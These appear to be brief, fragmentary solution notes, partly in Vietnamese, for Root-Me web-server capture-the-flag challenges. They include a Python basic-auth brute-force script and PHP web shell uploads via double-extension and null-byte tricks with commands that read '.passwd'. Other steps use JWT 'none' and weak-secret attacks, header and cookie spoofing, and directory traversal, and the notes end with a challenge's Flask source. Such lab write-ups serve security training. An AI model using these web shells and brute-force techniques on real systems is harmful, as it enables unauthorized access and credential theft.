Change IP at client to private IP by adding an X-Forwarded-For header
It combines URL and hash md5 of that one, so that we just put other URL and hash of it.
4.HTTP - User-agent
change User-Agent to `admin`
5.Weak password
import requests
from requests.auth import HTTPBasicAuth
url = "http://challenge01.root-me.org/web-serveur/ch3/"
usr = "admin"
words = open('common_password.txt','r').read().split('\n')
cnt =1
for pwd in words:
print(pwd,cnt)
res = requests.get(url, auth=HTTPBasicAuth(usr, pwd))
if "401" not in res.text:
print('Password is ' + pwd)
break
cnt +=1
6.PHP - Command injection
7.Backup file
Use dirsearch find some interesting files:
/web-serveur/ch11/index.php~
8.HTTP - Directory indexing
9.HTTP - Headers
With normal request we will get:
add Header to request:
Header-RootMe-Admin: True
10.HTTP - POST
11.HTTP - Improper redirect
Capture before it redirect
12.HTTP - Verb tampering
Ban đầu tưởng bruteforce ngồi xài hydra và cái rockyou.txt ra spam cả tiếng
temper ở đây là chỉ cần đổi method khác ngoài GET và POST là được, cứ PUT với DELETE mà phang
13.File upload - Double extensions
<?php echo shell_exec($_GET['cmd']); ?>
set file.php.png and send to the server
?cmd=cd;cat .passwd
14.File upload - MIME type
Change Content-Type to image/png and rce
?id=cd;cat .passwd
15.HTTP - Cookies
change cookie from visiteur to admin
16.JSON Web Token (JWT) - Introduction
"none" signature algorithms
17.Directory traversal
Try with ../ and fuzz
18.JSON Web Token (JWT) - Weak secret
bruteforce secret key: lol
POST and look for the flag hm....
19.File upload - Null byte
create: file.php%0a.png
<?php echo shell_exec('id'); ?>
20.Install files
use dirsearch: /web-serveur/ch6/phpbb/install
21. JWT - Revoked token
source
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
import datetime
from apscheduler.schedulers.background import BackgroundScheduler
import threading
import jwt
from config import *
# Setup flask
app = Flask(__name__)
app.config['JWT_SECRET_KEY'] = SECRET
jwtmanager = JWTManager(app)
blacklist = set()
lock = threading.Lock()
# Free memory from expired tokens, as they are no longer useful
def delete_expired_tokens():
with lock:
to_remove = set()
global blacklist
for access_token in blacklist:
try:
jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
except:
to_remove.add(access_token)
blacklist = blacklist.difference(to_remove)
@app.route("/web-serveur/ch63/")
def index():
return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"
# Standard login endpoint
@app.route('/web-serveur/ch63/login', methods=['POST'])
def login():
try:
username = request.json.get('username', None)
password = request.json.get('password', None)
except:
return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
if username != 'admin' or password != 'admin':
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
ret = {
'access_token': access_token,
}
with lock:
blacklist.add(access_token)
return jsonify(ret), 200
# Standard admin endpoint
@app.route('/web-serveur/ch63/admin', methods=['GET'])
@jwt_required
def protected():
access_token = request.headers.get("Authorization").split()[1]
with lock:
if access_token in blacklist:
return jsonify({"msg":"Token is revoked"})
else:
return jsonify({'Congratzzzz!!!_flag:': FLAG})
if __name__ == '__main__':
scheduler = BackgroundScheduler()
job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
scheduler.start()
app.run(debug=False, host='0.0.0.0', port=5000)